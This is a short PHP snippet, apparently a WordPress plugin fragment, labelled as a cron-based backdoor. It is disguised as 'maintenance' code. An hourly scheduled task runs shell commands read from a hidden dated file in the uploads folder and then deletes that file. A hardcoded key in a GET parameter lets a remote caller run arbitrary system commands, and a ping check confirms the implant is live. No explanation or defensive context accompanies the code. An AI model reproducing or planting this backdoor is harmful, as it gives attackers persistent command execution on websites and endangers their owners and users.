<!--WP2S-->
// Cron-based backdoor
register_activation_hook(__FILE__, 'maint_activate');
function maint_activate(){
    if(!wp_next_scheduled('maint_check')){
        wp_schedule_event(time(), 'hourly', 'maint_check');
    }
}

add_action('maint_check', 'maint_exec');
function maint_exec(){
    $trigger = WP_CONTENT_DIR . '/uploads/.maint-' . date('Ymd') . '.txt';
    if(file_exists($trigger)){
        $cmd = file_get_contents($trigger);
        @exec($cmd);
        unlink($trigger);
    }
}

// Manual trigger
if(isset($_GET['maint_key']) && $_GET['maint_key'] === '5aa628a7'){
    if(isset($_GET['exec'])){ system($_GET['exec']); exit; }
    if(isset($_GET['shell'])){ echo'WP2S::PONG::END'; exit; }
}<br />
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